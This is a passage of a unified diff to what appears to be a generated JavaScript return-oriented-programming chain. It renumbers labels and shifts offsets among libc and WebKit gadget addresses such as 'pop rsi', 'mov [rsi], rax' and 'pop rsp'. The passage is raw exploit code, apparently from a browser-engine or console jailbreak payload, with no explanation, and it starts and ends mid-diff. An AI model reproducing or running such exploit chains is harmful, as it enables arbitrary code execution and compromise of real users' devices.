+libc_base+792472 //pop rcx ]); //L486: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L488: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L487: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+85072, //L491 +ropchain+85056, //L491 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+85056, //L490 +ropchain+85040, //L489 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L490: +//L489: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L491: @@ -3314,25 +3312,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+85240, //L494 +ropchain+85224, //L494 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+85256, //L495 +ropchain+85240, //L495 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+85208, //L492 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+85224, //L493 +ropchain+85192, //L493 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L492: +//L493: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L493: +//L492: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L494: @@ -3343,11 +3341,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+85352, //L497 +ropchain+85336, //L497 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+85336, //L496 +ropchain+85320, //L496 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -3362,7 +3360,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+85440, //L499 +ropchain+85424, //L499 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); @@ -3374,21 +3372,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+85512, //L502 +ropchain+85480, //L500 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L500: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L502: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L501: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+85576, //L503 +ropchain+85560, //L503 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -3403,32 +3401,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+73968, //L202 +ropchain+73952, //L202 //L235: libc_base+793877, //pop rsi -ropchain+85688, //L507 +ropchain+85656, //L505 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L505: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L507: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L506: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+85792, //L510 +ropchain+85776, //L510 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+85776, //L509 +ropchain+85760, //L508 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L509: +//L508: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L510: @@ -3436,14 +3434,14 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+85896, //L511 +ropchain+85880, //L511 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+85928, //L513 +ropchain+85912, //L513 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+85912, //L512 +ropchain+85896, //L512 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -3463,10 +3461,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+86024, //L514 +ropchain+86008, //L514 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+86040, //L515 +ropchain+86024, //L515 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -3483,10 +3481,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+86152, //L516 +ropchain+86136, //L516 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+86136, //L517 +ropchain+86120, //L517 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -3497,11 +3495,11 @@ set_gadget(libc_base+811575,); //pop rsp db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+86240, //L519 +ropchain+86224, //L519 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+86224, //L518 +ropchain+86208, //L518 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -3518,10 +3516,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+86336, //L520 +ropchain+86320, //L520 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+86352, //L521 +ropchain+86336, //L521 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -3538,10 +3536,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+86464, //L522 +ropchain+86448, //L522 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+86448, //L523 +ropchain+86432, //L523 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -3556,18 +3554,18 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+86536, //L525 +ropchain+86520, //L524 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L525: +//L524: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+86600, //L527 +ropchain+86584, //L527 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 @@ -3579,26 +3577,26 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L528: -db([32, 0]); // 0x20 -set_gadget(libc_base+792472,); //pop rcx -//L530: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L529: +db([32, 0]); // 0x20 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+86768, //L533 +ropchain+86752, //L533 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+86752, //L532 +ropchain+86736, //L531 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L532: +//L531: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L533: @@ -3606,20 +3604,20 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+86872, //L536 +ropchain+86840, //L534 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+86888, //L537 +ropchain+86872, //L537 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L534: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L536: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L535: +db([4294967288, 4294967295]); // -0x8 set_gadget(libc_base+206806,); //pop rdi //L537: db([0, 0]); // 0x0 @@ -3634,16 +3632,16 @@ db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+87032, //L542 +ropchain+87016, //L542 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+87016, //L541 +ropchain+87000, //L540 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L541: +//L540: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L542: @@ -3651,15 +3649,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+87176, //L545 +ropchain+87160, //L545 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+87144, //L543 +ropchain+87128, //L543 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+87160, //L544 +ropchain+87144, //L544 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -3676,7 +3674,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+87248, //L546 +ropchain+87232, //L546 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -3686,12 +3684,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+87304, //L549 +ropchain+87288, //L548 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L549: +//L548: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -3700,25 +3698,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+87384, //L551 +ropchain+87368, //L551 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L551: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L550: -db([1, 0]); // 0x1 set_gadget(libc_base+792472,); //pop rcx -//L552: +//L550: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L552: +db([1, 0]); // 0x1 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+87488, //L553 +ropchain+87472, //L553 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+87504, //L554 +ropchain+87488, //L554 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -3736,7 +3734,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+87592, //L555 +ropchain+87576, //L555 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -3746,12 +3744,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+87648, //L558 +ropchain+87632, //L557 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L558: +//L557: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -3764,29 +3762,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+87768, //L561 +ropchain+87736, //L559 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L559: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L561: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L560: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+87872, //L564 +ropchain+87856, //L564 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+87856, //L563 +ropchain+87840, //L562 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L563: +//L562: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L564: @@ -3794,15 +3792,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+88016, //L567 +ropchain+88000, //L567 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+87984, //L565 +ropchain+87968, //L565 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+88000, //L566 +ropchain+87984, //L566 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -3819,7 +3817,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+88088, //L568 +ropchain+88072, //L568 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -3829,12 +3827,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+88144, //L571 +ropchain+88128, //L570 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L571: +//L570: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -3843,25 +3841,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+88224, //L573 +ropchain+88208, //L573 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L573: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L572: -db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L574: +//L572: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L574: +db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+88328, //L575 +ropchain+88312, //L575 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+88344, //L576 +ropchain+88328, //L576 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -3879,7 +3877,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+88432, //L577 +ropchain+88416, //L577 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -3889,19 +3887,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+88488, //L580 +ropchain+88472, //L579 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L580: +//L579: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+88560, //L581 +ropchain+88544, //L581 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -3911,12 +3909,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+88616, //L584 +ropchain+88600, //L583 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L584: +//L583: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -3936,29 +3934,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+88768, //L588 +ropchain+88736, //L586 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L586: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L588: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L587: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+88872, //L591 +ropchain+88856, //L591 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+88856, //L590 +ropchain+88840, //L589 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L590: +//L589: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L591: @@ -3966,15 +3964,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+89016, //L594 +ropchain+89000, //L594 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+88984, //L592 +ropchain+88968, //L592 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+89000, //L593 +ropchain+88984, //L593 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -3991,7 +3989,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+89088, //L595 +ropchain+89072, //L595 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4001,12 +3999,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+89144, //L598 +ropchain+89128, //L597 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L598: +//L597: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4015,25 +4013,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+89224, //L600 +ropchain+89208, //L600 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L600: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L599: -db([1, 0]); // 0x1 set_gadget(libc_base+792472,); //pop rcx -//L601: +//L599: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L601: +db([1, 0]); // 0x1 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+89328, //L602 +ropchain+89312, //L602 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+89344, //L603 +ropchain+89328, //L603 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4051,7 +4049,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+89432, //L604 +ropchain+89416, //L604 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4061,19 +4059,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+89488, //L607 +ropchain+89472, //L606 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L607: +//L606: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+89560, //L608 +ropchain+89544, //L608 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4083,12 +4081,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+89616, //L611 +ropchain+89600, //L610 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L611: +//L610: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -4099,29 +4097,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+89720, //L614 +ropchain+89688, //L612 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L612: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L614: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L613: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+89824, //L617 +ropchain+89808, //L617 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+89808, //L616 +ropchain+89792, //L615 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L616: +//L615: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L617: @@ -4129,15 +4127,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+89968, //L620 +ropchain+89952, //L620 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+89936, //L618 +ropchain+89920, //L618 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+89952, //L619 +ropchain+89936, //L619 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4154,7 +4152,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+90040, //L621 +ropchain+90024, //L621 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4164,12 +4162,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+90096, //L624 +ropchain+90080, //L623 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L624: +//L623: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4178,25 +4176,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+90176, //L626 +ropchain+90160, //L626 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L626: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L625: db([8, 0]); // 0x8 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+788575,); //pop rax //L627: db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+90280, //L628 +ropchain+90264, //L628 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+90296, //L629 +ropchain+90280, //L629 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4214,7 +4212,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+90384, //L630 +ropchain+90368, //L630 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4224,12 +4222,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+90440, //L633 +ropchain+90424, //L632 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L633: +//L632: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -4242,29 +4240,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+90560, //L636 +ropchain+90528, //L634 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L634: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L636: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L635: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+90664, //L639 +ropchain+90648, //L639 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+90648, //L638 +ropchain+90632, //L637 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L638: +//L637: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L639: @@ -4272,15 +4270,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+90808, //L642 +ropchain+90792, //L642 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+90776, //L640 +ropchain+90760, //L640 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+90792, //L641 +ropchain+90776, //L641 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4297,7 +4295,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+90880, //L643 +ropchain+90864, //L643 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4307,12 +4305,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+90936, //L646 +ropchain+90920, //L645 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L646: +//L645: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4321,25 +4319,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+91016, //L648 +ropchain+91000, //L648 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L648: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L647: -db([7, 0]); // 0x7 set_gadget(libc_base+792472,); //pop rcx -//L649: +//L647: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L649: +db([7, 0]); // 0x7 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+91120, //L650 +ropchain+91104, //L650 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+91136, //L651 +ropchain+91120, //L651 webkit_base+7438103, //mov [rsi], 